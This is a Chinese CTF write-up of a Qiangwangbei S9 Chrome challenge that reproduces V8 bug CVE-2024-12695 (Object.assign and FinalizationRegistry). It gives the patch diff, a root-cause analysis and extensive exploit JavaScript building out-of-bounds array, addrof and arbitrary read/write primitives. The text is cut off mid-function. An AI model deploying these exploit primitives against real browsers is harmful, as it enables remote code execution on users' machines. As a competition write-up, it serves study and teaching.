首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
4
[原创] 强网杯S9 Real World - monotint
发表于: 2025-12-9 23:53
17413
[原创] 强网杯S9 Real World - monotint
flyyyy
6
2025-12-9 23:53
17413
# 目录 - [前言](#前言) - [题目信息](#题目信息) - [环境搭建](#环境搭建) - [漏洞分析](#漏洞分析) - [Object.assign缺少类型检查](#Objectassign缺少类型检查) - [SimpleNumberDictionary越界的产生](#SimpleNumberDictionary越界的产生) - [不稳定的越界转化为固定偏移的任意写](#不稳定的越界转化为固定偏移的任意写) - [漏洞利用](#漏洞利用) - [step1](#step1) - [step2](#step2) - [step3](#step3) - [step4](#step4) - [step5](#step5) - [exploit](#exploit) # 前言 本次强网杯线下和0x300R的师傅们一起打了,其他师傅都太强啦。但最后一天的时间很短,我们最后demo的4题,基本都因为环境问题,没有成功,其中就包括了我这里demo 的monotint,一道浏览器的nday复现 第一个坑是关于v8沙箱的问题。这道题目的chrome版本是139.0.7258.128,启动参数—no-sandbox,意味着render rce之后就可以任意代码执行。但是正常情况下v8沙箱在这个版本下是默认开启的,所以我本地编译了一个开启v8沙箱的chrome,在这个基础上进行利用,但是后来发现其实题目是没有编译v8的沙箱的,所以那一段沙箱逃逸的逻辑根本没有使用到,耽误了很久的时间……(以后还是直接上去测题目给的虚拟机 第二个坑是最后弹计算器的问题。公告和题目的信息是分开的,因此没有注意到,公告中提到了为了降低演示的难度,可以自选方法进行验证rce。所以最后花了一段时间去解决弹计算器的问题,其实只需要xauth给个权限可以了,这里需要感谢组里的两位大哥@leommxj和@m4x,帮助我解决了弹计算器的问题 第三个坑是cpu保护的问题。公告中提到了现场演示机器的cpu是intel 14gen,不过我确实没有忘pku内存保护的方向去想,所以最后的利用部分造成了问题。绕过方式也很简单,jit spray或者写一个wasm函数绕过就行 # 题目信息 题目除了下发了一个虚拟机之外,虚拟机里还有一个启动脚本和一段diff 所以查看了下启动参数,发现没有沙箱,所以只需要考虑render rce,那么主要需要思考的是v8侧的利用 ```bash /opt/chromium.org/chromium/chromium-browser --no-sandbox ``` 接着查看版本信息,chrome版本是139.0.7258.128,v8版本是13.9.205.19  看到了v8的版本不算新,因此看了下commit hash,8月4号的提交,那么之前p0的Big sleep挖出来的CVE-2025-9132是可以直接打的,但是我没准备 :( 由于笔者并没有提前准备1day(科恩的师傅应该是有的,所以最后也只有他们demo成功了,太强了),所以我只能看题目准备了什么diff  diff信息,但是看着就觉得很眼熟,之前似乎在issue tracker上看到过,于是关键词搜索,就发现了issue tracker上[公开的报告](<mark class="encrypted">2eaK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3X3g2U0K9s2u0G2L8h3W2#2L8g2)9J5k6h3!0J5k6#2)9J5c8X3W2K6M7%4g2W2M7#2)9J5c8U0x3^5x3K6j5@1y4K6t1#2y4b7`.`.</mark> "公开的报告"),接着就搜索到了公开的[blog分析](<mark class="encrypted">c76K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3N6K6j5$3q4D9k6g2)9J5k6h3y4Z5i4K6u0r3j5X3I4G2k6#2)9J5c8X3c8A6M7%4y4W2j5%4c8A6L8X3N6Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6t1@1i4K6u0V1x3e0t1$3z5e0g2Q4x3X3c8W2P5s2m8D9L8$3W2@1K9h3&6Y4i4K6u0V1L8$3u0B7k6h3y4@1i4K6u0V1j5i4y4K6K9h3N6F1i4K6u0V1K9h3&6Q4x3X3c8$3z5q4)9J5c8R3`.`.</mark> "blog分析")和[完整的脚本](<mark class="encrypted">a9cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3N6K6j5$3q4D9k6g2)9J5k6h3y4Z5i4K6u0r3j5i4y4K6k6i4c8K6i4K6u0r3k6X3W2D9k6i4y4Q4x3V1k6U0N6X3g2Q4x3X3b7J5x3o6t1@1i4K6u0V1x3e0t1$3z5e0g2Q4x3V1k6W2P5s2m8D9L8$3W2@1i4K6u0W2K9Y4x3`.</mark> "完整的脚本"),编号是CVE-2024-12695 ```diff diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.cc index b0aeb178..161d9bdf 100644 --- a/v8/src/builtins/builtins-object-gen.cc +++ b/v8/src/builtins/builtins-object-gen.cc @@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) { GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()), &slow_path); - // Ensure the properties field is not used to store a hash. - TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to); - GotoIf(TaggedIsSmi(properties), &slow_path); - CSA_DCHECK(this, - Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()), - IsPropertyArray(CAST(properties)))); - Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred); // Check if our particular source->target combination is fast clonable. diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.cc index f125cc63..d6d0e36b 100644 --- a/v8/src/objects/js-weak-refs.cc +++ b/v8/src/objects/js-weak-refs.cc @@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key); - CHECK(entry.is_found()); + DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the key ``` 对于正常的render rce流程还需要一个v8的沙箱逃逸,因为是默认开启的,所以笔者接下来做了两件事情 - 适配完CVE-2024-12695的利用 - v8进程的沙箱逃逸 在比赛的当天下午6 7点钟这样,已经完成了第一个部分,但是此时笔者并不知道题目下发的虚拟机其实是没有的,因此后面花了大部分时间在v8的沙箱逃逸上…… # 环境搭建 搭chrome的环境 ```bash git checkout 139.0.7258.128 gclient sync -D cd v8 patch -p1 < ./patch cd ../ gn gen out/x64.release ninja -C out/x64.release -j 22 chrome ``` 编译参数 ```bash is_component_build = false is_debug = false symbol_level = 2 blink_symbol_level = 2 v8_symbol_level = 2 dcheck_always_on = false is_official_build = false chrome_pgo_phase = 0 v8_enable_sandbox = false v8_enable_pointer_compression = true ``` 搭d8的环境 ```bash gn gen out/x64.release_v8 ninja -C out/x64.release_v8 -j 22 d8 ``` 编译参数 ```bash is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true dcheck_always_on = false symbol_level = 2 ``` 调试chrome的时候如果需要使用d8的调试函数,需要加上--js-flags="--allow-natives-syntax",由于个人习惯,我还会加上--auto-open-devtools-for-tabs,这样会自动打开devtools # 漏洞分析 这个nday详细的分析,我觉得看别人已经公开的就好,我这里根据自己的理解,大致再分析了一下 ## Object.assign缺少类型检查 ```diff diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.cc index b0aeb178..161d9bdf 100644 --- a/v8/src/builtins/builtins-object-gen.cc +++ b/v8/src/builtins/builtins-object-gen.cc @@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) { GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()), &slow_path); - // Ensure the properties field is not used to store a hash. - TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to); - GotoIf(TaggedIsSmi(properties), &slow_path); - CSA_DCHECK(this, - Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()), - IsPropertyArray(CAST(properties)))); - Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred); ``` 从删去的部分不难理解,这里删去的部分其实是对于properties字段的检查,检查这个字段是否是smi,如果是smi则跳转到slow\_path执行后续逻辑;如果不是smi则进入fast\_path。 注意到CSA\_DCHECK,意思是当前字段如果不是smi,那么必须是一个EmptyFixedArray。被删去之后,言下之意就是说这个字段可以为smi,也可以为FixedArray(object) 所以这个检查的含义可以总结为,删去了对于对象properties字段类型的检查,不再检查properties是否为smi或者对象,无论properties字段为smi或者对象都执行同一个fast\_path的流程。此时我们具备了改变对象properties字段的能力 而这个逻辑位于一个builtin方法TF\_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)中,所以我们现在知道Object.assign这个方法存在漏洞 可以通过这个代码演示一下 ```javascript let target = {}; let unregister_token = {}; let registry = new FinalizationRegistry(() => { print("Callback called"); }); registry.register(target, undefined, unregister_token); %DebugPrint(unregister_token); %SystemBreak(); Object.assign(unregister_token, {}); Object.assign(unregister_token, {}); %DebugPrint(unregister_token); %SystemBreak(); ``` 当注册完gc监控对象target之后,unregister\_token 产生了hash字段。接着通过Object.assign的快速路径,使得unregister\_token的hash字段被破坏,这个被破坏成了一个FixedArray  需要解释一下FinalizationRegistry的[使用方法](<mark class="encrypted">470K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3X3g2E0L8%4A6A6L8r3I4S2i4K6u0W2L8%4u0Y4i4K6u0r3k6h3&6Q4x3X3c8g2f1#2)9J5c8X3c8G2j5%4y4Q4x3V1k6i4k6h3u0Q4x3V1k6v1j5i4k6S2f1$3y4J5K9i4m8@1i4K6u0r3f1X3g2X3k6i4u0W2L8X3y4W2i4K6u0r3c8$3I4G2j5X3q4D9i4K6g2X3e0$3u0B7k6h3y4@1M7#2)9J5c8V1k6A6L8X3q4D9K9i4A6S2N6r3W2G2L8W2u0W2k6$3W2K6N6s2u0&6</mark> "使用方法") - 第一个参数target是gc监控的对象 - 第二个参数undefined是回调函数执行时需要用到的值。当 target 被回收,回调函数被调用时,这个值会作为参数传给回调函数。 - 第三个参数是取消注册的令牌。如果稍后想要取消对 target 的监控,你可以调用 registry.unregister(unregister\_token)来取消对于回调的执行 - 注册完毕后会为unregister\_token生成hash字段 上方的register方法是监控了target对象,当target被gc回收时,会执行自定义的回调函数。上方的第三个参数是注册的token,后续调用了Object.assign破坏了hash字段 ## SimpleNumberDictionary越界的产生 调试代码如下 ```javascript let target = {}; let unregister_token = {}; let registry = new FinalizationRegistry(() => { print("Callback called"); }); registry.register(target, undefined, unregister_token); Object.assign(unregister_token, {}); Object.assign(unregister_token, {}); target = null; gc({ type: "major" }); %DebugPrint(registry); ``` 这里的diff很简洁,将强制CHECK换成了DCHECK,这个函数JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap由上方提到的unregister调用,意味着执行registry.unregister时不再对entry进行检查 ```diff diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.cc index f125cc63..d6d0e36b 100644 --- a/v8/src/objects/js-weak-refs.cc +++ b/v8/src/objects/js-weak-refs.cc @@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key); - CHECK(entry.is_found()); + DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the key ``` 所以对于的hash值不存在于key\_map的情况,entry的值为-1。又由于换成了DCHECK,就会绕过entry.is\_found()的检查 接着如果当前的weak\_cell prev指针为undefined,则会进入到下方的if循环时,会执行key\_map->ClearEntry(-1) ```c++ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Isolate* isolate, Tagged<WeakCell> weak_cell) { DisallowGarbageCollection no_gc; DCHECK(!IsUndefined(weak_cell->unregister_token(), isolate)); Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value(); if (IsUndefined(weak_cell->key_list_prev(), isolate)) { Tagged<SimpleNumberDictionary> key_map = Cast<SimpleNumberDictionary>(this->key_map()); Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key); DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the key // from the hash table. key_map->ClearEntry(entry); key_map->ElementRemoved(); } else { …………………… } ``` 继续跟踪调用,首先进入下方的模板函数 ```c++ template <typename Derived, typename Shape> void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) { Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value(); PropertyDetails details = PropertyDetails::Empty(); Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details); } ``` 接着进入SetEntry,从上方的传递值可以发现key和value都是the\_hole,也就是0x7d9 ```c++ template <typename Derived, typename Shape> void Dictionary<Derived, Shape>::SetEntry(InternalIndex entry, Tagged<Object> key, Tagged<Object> value, PropertyDetails details) { DCHECK(Dictionary::kEntrySize == 2 || Dictionary::kEntrySize == 3); DCHECK(!IsName(key) || details.dictionary_index() > 0 || !Shape::kHasDetails); int index = DerivedHashTable::EntryToIndex(entry); DisallowGarbageCollection no_gc; WriteBarrierMode mode = this->GetWriteBarrierMode(no_gc); this->set(index + Derived::kEntryKeyIndex, key, mode); this->set(index + Derived::kEntryValueIndex, value, mode); if (Shape::kHasDetails) DetailsAtPut(entry, details); } ``` index的转化逻辑调用了如下函数,如果说一开始的entry是-1,也就是没找到对应的hash值,那么则会计算出index=1 ```c++ // Returns the index for an entry (of the key) static constexpr inline int EntryToIndex(InternalIndex entry) { return (entry.as_int() * kEntrySize) + kElementsStartIndex; } //static const int kEntrySize = 2; //static const int kPrefixSize = 0; //static const int kPrefixStartIndex = 3; //static const int kElementsStartIndex = kPrefixStartIndex + TodoShape::kPrefixSize; //return (-1*2)+3+0 ``` 接着通过调试验证,同时可以得到Derived::kEntryKeyIndex = 0; Derived::kEntryValueIndex=1;所以这里会将this,也就是key\_map index为1和2处都设置为the\_hole(0x7d9)  我们需要观察一下key\_map的结构,可以看到这里是由FixedArray申请出来的,但是map是SIMPLE\_NUMBER\_DICTIONARY\_TYPE,所以我们找一下这个map类型的定义  这里说明对于header来说没有多余的size,每一个Entry是2项。 ```c++ class SimpleNumberDictionaryShape : public NumberDictionaryBaseShape { public: static const bool kHasDetails = false; static const int kPrefixSize = 0; static const int kEntrySize = 2; …………………… }; ``` header位于v8/src/objects/hash-table.h中,slot\[0] = kNumberOfElementsIndex,slot\[1] = kNumberOfDeletedElementsIndex,slot\[2]=kCapacityIndex ```c++ class V8_EXPORT_PRIVATE HashTableBase : public NON_EXPORTED_BASE(FixedArray) { public: …………………… static const int kNumberOfElementsIndex = 0; static const int kNumberOfDeletedElementsIndex = 1; static const int kCapacityIndex = 2; static const int kPrefixStartIndex = 3; ``` Entry定义了value在index为1处,那么0处就是key ```c++ // SimpleNumberDictionary is used to map number to an entry. class SimpleNumberDictionary : public Dictionary<SimpleNumberDictionary, SimpleNumberDictionaryShape> { public: static inline DirectHandle<Map> GetMap(RootsTable& roots); // Type specific at put (default NONE attributes is used when adding). V8_EXPORT_PRIVATE V8_WARN_UNUSED_RESULT static Handle<SimpleNumberDictionary> Set(Isolate* isolate, Handle<SimpleNumberDictionary> dictionary, uint32_t key, DirectHandle<Object> value); static const int kEntryValueIndex = 1; }; ``` 这里涉及到的对象继承关系 ```markdown SimpleNumberDictionary -> Dictionary -> HashTable -> HashTableBase -> FixedArray ```  对应到上方的调试结果就是 ```text 0x3171003c002c: 0x00001c55 -> map 0x3171003c0030: 0x00000016 -> length 0x3171003c0034: 0x00000002 -> Elements 0x3171003c0038: 0x00000000 -> DeletedElements 0x3171003c003c: 0x00000008 -> Capacity 0x3171003c0040: 0x00000011 -> Entry 0 Key 0x3171003c0044: 0x00000011 -> Entry 0 Val 0x3171003c0048: 0x001313d2 -> Entry 1 Key 0x3171003c004c: 0x0005d9e1 -> Entry 1 Val ``` 上方的0x001313d2也就是hash值<<1的内存中的表示,后面紧跟着的是WeakCell 接着经过ClearEntry之后,可以发现  完整的如下,可以发现容量变成了0x000007d9,所以此时产生了一个越界的SimpleNumberDictionary ```text 0x3171003c002c: 0x00001c55 -> map 0x3171003c0030: 0x00000016 -> length 0x3171003c0034: 0x00000002 -> Elements 0x3171003c0038: 0x000007d9 -> DeletedElements 0x3171003c003c: 0x000007d9 -> Capacity 0x3171003c0040: 0x00000011 -> Entry 0 Key 0x3171003c0044: 0x00000011 -> Entry 0 Val 0x3171003c0048: 0x001313d2 -> Entry 1 Key 0x3171003c004c: 0x0005d9e1 -> Entry 1 Val ``` ## 不稳定的越界转化为固定偏移的任意写 上方其实已经得到一个可以越界的SimpleNumberDictionary,那么现在就需要思考如何将这个不稳定的越界转化成稳定的越界读写 首先来看这样一段函数 ```javascript let target = {}; let unregister_token = {}; let registry = new FinalizationRegistry(() => { print("Callback called"); }); %DebugPrint(registry); registry.register(target, undefined, unregister_token); registry.register(target, undefined, unregister_token); ``` 下断点之后会发现执行了这个函数JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken - 这个函数很短首先会检查finalization\_registry的key\_map是否存在,不存在的话再初始化一个 - 接着获取weak\_cell或者生成weak\_cell的hash字段,然后赋值给key - 根据key去索引entry - 如果存在,则会获取这个value,也就是之前添加的WeakCell,然后设置这个WeakCell的set\_key\_list\_prev和set\_key\_list\_next - 最后将更新过的内容写回 finalization\_registry ```c++ void JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken( DirectHandle<JSFinalizationRegistry> finalization_registry, DirectHandle<WeakCell> weak_cell, Isolate* isolate) { Handle<SimpleNumberDictionary> key_map; if (IsUndefined(finalization_registry->key_map(), isolate)) { key_map = SimpleNumberDictionary::New(isolate, 1); } else { key_map = handle(Cast<SimpleNumberDictionary>(finalization_registry->key_map()), isolate); } // Unregister tokens are held weakly as objects are often their own // unregister token. To avoid using an ephemeron map, the map for token // lookup is keyed on the token's identity hash instead of the token itself. uint32_t key = Object::GetOrCreateHash(weak_cell->unregister_token(), isolate).value(); InternalIndex entry = key_map->FindEntry(isolate, key); if (entry.is_found()) { Tagged<Object> value = key_map->ValueAt(entry); Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value); existing_weak_cell->set_key_list_prev(*weak_cell); weak_cell->set_key_list_next(existing_weak_cell); } key_map = SimpleNumberDictionary::Set(isolate, key_map, key, weak_cell); finalization_registry->set_key_map(*key_map); } ``` 接着来调试一下这一段代码,首先这里的weak\_cell是新生成的,然后finalization\_registry是代码中的registry  此时的unregister\_token还只是一个普通对象,没有生成hash值  由于此时的并没有生成表项,所以entry.is\_found()过不了,因此第一次register不会执行到if的逻辑 使用同样的对象进行第二次register,可以看到我们之前unregister\_token已经生成了hash值,并被保存到了key\_map中  没有执行if中的逻辑前,可以看到两个weakcell的list prev/next都是undefined状态  由于这一次是使用了同样的对象,这个表现会被说索引到,所以这里分别设置了weakcell的list prev/next  进一步在内存里查看,对于第一次申请的weakcell对象,在偏移0x1c的位置,写上了第二次申请的weakcell对象的地址  第二次申请的weakcell对象,在偏移0x20的位置,写上了第一次申请的weakcell对象的地址  还需要提一嘴的是Weakcell在active\_cells中的组织形式是LIFO,从job的输出也可以看出来,新添加的Weakcell对象采用头插法插入到list头部,所以他的prev为undefined,next为旧的Weakcell,同时旧的Weakcell的prev为新的Weakcell,next为undefined 从上面的方式可以看出如果我们提前知道了key\_map中的某一表项的hash值,就可以在对应的weakcell的固定偏移处写入一个的值,而如果我们可控weakcell的值,就可以在我们控制的值基础上进行任意写,也就是 \*((\&weakcell)+0x1c/0x20)= obj\_val,可以知道这个obj\_val是一个weakcell的值,默认为很大的值,可以用这个大值去破坏对象的length字段,实现稳定越界读写的效果 # 漏洞利用 截止到目前我们需要实现上面的思路,同时需要保持利用的稳定性 - 第一步:获取一个存在越界的key\_map - 第二步:预测key\_map中对象的hash值 - 第三步:通过预测的hash值实现地址任意写,从而corrupt某些array对象的length - 第四步:根据获取到的oob\_arr,构造出稳定的利用原语 - 第五步:解决弹计算器的问题 如果qwb线下做过这个利用的师傅应该知道,上面除了第一步以外,其他步骤都有点麻烦 ## step1 这部分代码很简单,删去了回调函数的部分代码,后面完整的利用会有 ```javascript let undefined_value = 0x11; let target = {}; let unregister_token = {}; let registry = new FinalizationRegistry(() => { console.log("[*] Callback in"); console.log("[*] Callback out"); }); registry.register(target, undefined, unregister_token); major_gc(); let victim_arr = []; for (let i = 0; i < 0x1000; i++) { victim_arr.push(build_kv(undefined_value, undefined_value)); } major_gc(); let arr_with_hash_object = construct_hash_object(); Object.assign(unregister_token, {}); Object.assign(unregister_token, {}); target = null; major_gc(); ``` 这里先利用了patch的漏洞实现了key\_map的越界,但是其中我还是布置了一些对象。 在key\_map之后,布置了victim\_arr,其中初始化了0x1000个kv表项,接着我又构造了一个arr来存储一些hash表项,这两个步骤都是为后续利用提前做的准备 ```javascript function build_kv(key, value) { return lh_u32_to_f64(key << 1, value); } function init_arr(arr, val){ for (let i = 0; i < arr.length; i++) { arr[i] = val; } } function construct_hash_object(){ let length = 10000; let arr = new Array(length); let weak_map = new WeakMap(); for (let i = 0; i < length; i++) { arr[i] = {}; weak_map.set(arr[i], 0); } return arr; } ``` 同时为了布局的稳定,我在每一个重要对象后面都执行了一个major\_gc,最后一次gc是为了触发漏洞 ```javascript function major_gc() { let x = []; x.push(new ArrayBuffer(1e9)); x.push(new ArrayBuffer(1e9)); x = null; } ``` ## step2 这个步骤是预测key\_map里的hash值,完整函数如下 ```javascript function corrupt_obj_get_hash(){ console.log("[*] Corrupt obj get in"); let corrupt_vic_idx = -1; let corrupt_obj_idx = -1; let corrupt_obj_hash = -1; // HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF for (let current_hash = 1; current_hash < 0x100000; current_hash++) { let fake_kv = build_kv(current_hash, undefined_value); init_arr(victim_arr, fake_kv); // p(unregister_token); // p(registry); // p(victim_arr); // p(arr_with_hash_object); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); } corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv); if (corrupt_vic_idx == -1){ continue; } // p(victim_arr); init_arr(victim_arr, fake_kv); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); for (let j = 0; j < victim_arr.length; j++){ if (victim_arr[j] != fake_kv){ corrupt_obj_idx = i; corrupt_obj_hash = current_hash; %DebugPrint(victim_arr); logg("corrupt_obj_idx",corrupt_obj_idx); logg("corrupt_obj_hash",corrupt_obj_hash); %SystemBreak(); break; } } if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){ break; } } if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){ break; } // console.log("[+] Found at hash: 0x" + current_hash.toString(16)); } // p(arr_with_hash_object); console.log("[+] Corrupt vic idx: " + corrupt_vic_idx); console.log("[+] Corrupt obj idx: " + corrupt_obj_idx); console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16)); console.log("[*] Corrupt obj get out"); return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash]; } ``` - 上方的大循环中,我构造了一个0x100000个kv表项,预测hash值从1-0x100000,可以从注释里看到HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF,实际肯定不会执行这么多次数的,所以我选了最大次数作为循环体执行的次数 - 接着通过registry.unregister的方法,去遍历构造出来的arr\_with\_hash\_object对象。因为之前构造了越界的key\_map,同时vivtim\_arr在key\_map的后面,所以一部分hash值会越界到victim\_arr里,破坏初始值,当遍历结束之后,我就可以得到victim中被破坏位置的idx,成功概率是10000/0x100000 - 上方成功获取到corrupt\_vic\_idx之后,接着将当前的kv表项用于初始化victim\_arr,同时继续依次unregister之前构造的arr\_with\_hash\_object对象,同时判断是victim\_arr的内容是否发生变化,如果变化,则说明此时的hash表项修改的范围落在了我们可控的victim\_arr里面 如果这个函数执行完毕,那么我们得到了一个可复用的kv表项,如果对于这个kv表项进行register,那么就可以这样 \*((\&weakcell)+0x1c/0x20)= obj\_val,向可控的相对地址写入一个 WeakCell 指针 ## step3 通过上方获取到的可以hash对象进行进一步的利用,这里是核心逻辑的代码 ```javascript console.log("[*] Construct oob arr in"); let hash_obj = arr_with_hash_object[corrupt_obj_idx]; let oob_arr_addr_start = 0x1c0000; let oob_arr_addr_end = 0x2000000; let oob_arr_step = 0x100; let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa); let oob_arr_idx = -1; let tmp_weak_cell_val = -1; let offset = 0x1c; let align_offset = 0; let oob_arr_element_addr = -1; let oob_addr_element_offset = 0x1020; let out_loop = false; let oob_arr = []; for (let i = 0; i < 0x100; i++){ oob_arr[i] = 1.1; } for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){ let fake_kv = build_kv(corrupt_obj_hash, i | 1); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; init_arr(oob_arr, oob_arr_init_val); // p(oob_arr); // stop(); registry.register(hash_obj, undefined, hash_obj); for (let j = 0; j < oob_arr.length; j++){ if (oob_arr[j] != oob_arr_init_val){ oob_arr_idx = j; logg("oob_arr_idx",oob_arr_idx); logg("oob_arr_addr",i); // p(registry); // p(victim_arr); // p(oob_arr); tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]); if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){ tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]); align_offset = 1; } // logg("raw tmp weak cell val",f64_to_u64(oob_arr[oob_arr_idx])); // logg("tmp weak cell val",tmp_weak_cell_val); // logg("align_offset",align_offset); oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ; // stop(); break; } if(oob_arr_element_addr > 0){ out_loop = true; break; } } if(out_loop){ break; } } let guess_obj_addr = -1; let target_addr = -1; let idx = 0; // guess_obj_addr = oob_arr_element_addr - oob_addr_element_offset; guess_obj_addr = oob_arr_element_addr; target_addr = guess_obj_addr+0x5+0x1; let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c))); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; logg("oob_arr_element_addr",oob_arr_element_addr); logg("target_addr",target_addr); console.log("[*] Construct oob arr out"); registry.register(hash_obj, undefined, hash_obj); ``` - 我这里初始化了一个oob\_arr,类型为double arr,预测的地址空间是\[0x1c0000,0x2000000],步长为0x100 - 接着开始构造表项let fake\_kv = build\_kv(corrupt\_obj\_hash, i | 1),这里的corrupt\_obj\_hash为之前得到hash值,然后i就是每次预测的地址,然后初始化oob\_arr - 使用registry.register进行地址预测,利用 JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken 的逻辑,由于 Hash 命中,V8 会获取我们伪造的“旧 WeakCell”地址,并尝试将其作为链表节点,执行 existing\_weak\_cell->set\_key\_list\_prev(new\_weak\_cell)。这实际上向 i + 0x1c 的位置写入了新 WeakCell 的指针。如果这个写入落在 oob\_arr 范围内,就能被探测到 - 由于oob\_arr存在0x100项,通过register的方法可以将i+0x1c位置写为一个WeakCell对象的值,如果落在了oob\_arr的element里,那么可以通过遍历发现,接着通过i来反推出oob\_arr的element地址 - 反推出oob\_arr的element地址后,可以通过register的方法去覆盖oob\_arr的element的length字段,这里需要错位字节,不然element的length字段无法解析。同时这里和出题人学到了一个技巧,就是错位字节之后,进行resize,即可保持布局的稳定 ## step4 上面已经是构造出来了一个越界读写的oob\_arr ```javascript let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9]; let ref_arr = make_ref(target_arr); let ab = new ArrayBuffer(0x100); let ref_ab = make_ref(ab); let dv = new DataView(ab); let obj_arr = [{},{}]; let target_idx = -1; for (let i = 0; i < 0x10000000; i++){ // logg("oob_arr[i]",f64_to_u64(oob_arr[i])); if (((oob_arr[i]) == 1.1) && ((oob_arr[i+1]) == 2.2) && ((oob_arr[i+2]) == 3.3) && ((oob_arr[i+3]) == 4.4) && ((oob_arr[i+4]) == 5.5)){ target_idx = i; logg("target_idx",target_idx); break; } } if(target_idx == -1){ console.log("[x] Failed to find target_idx!"); return; } // p(target_arr); // p(obj_arr); let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8; let elements_confused_idx = target_idx + 0x50/8; let obj_arr_idx_offset = 0x21; let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8; logg("target_arr_element_addr",target_arr_element_addr); logg("obj_arr_element_addr",obj_arr_element_addr); function cage_read(addr){ addr = Number(addr); if (addr & 1){ addr -= 1; } addr -= 7; let org = f64_to_u64(oob_arr[elements_confused_idx]); oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n)); let val = f64_to_u64(target_arr[0]); oob_arr[elements_confused_idx] = u64_to_f64(org); return val; } function cage_write(addr,val){ addr = Number(addr); if (addr & 1){ addr -= 1; } addr -= 7; logg("addr",addr); let org = f64_to_u64(oob_arr[elements_confused_idx]); oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n)); let org_val = f64_to_u64(target_arr[0]); // target_arr[0] = lh_u32_to_f64(val, Number(org_val >> 32n)); target_arr[0] = u64_to_f64(val); oob_arr[elements_confused_idx] = u64_to_f64(org); } function addrof(obj){ obj_arr[0] = obj; let ret = cage_read(obj_arr_element_addr); // logg("ret",ret); // stop(); return u64_to_u32_lo(ret); } function AAR(addr){ 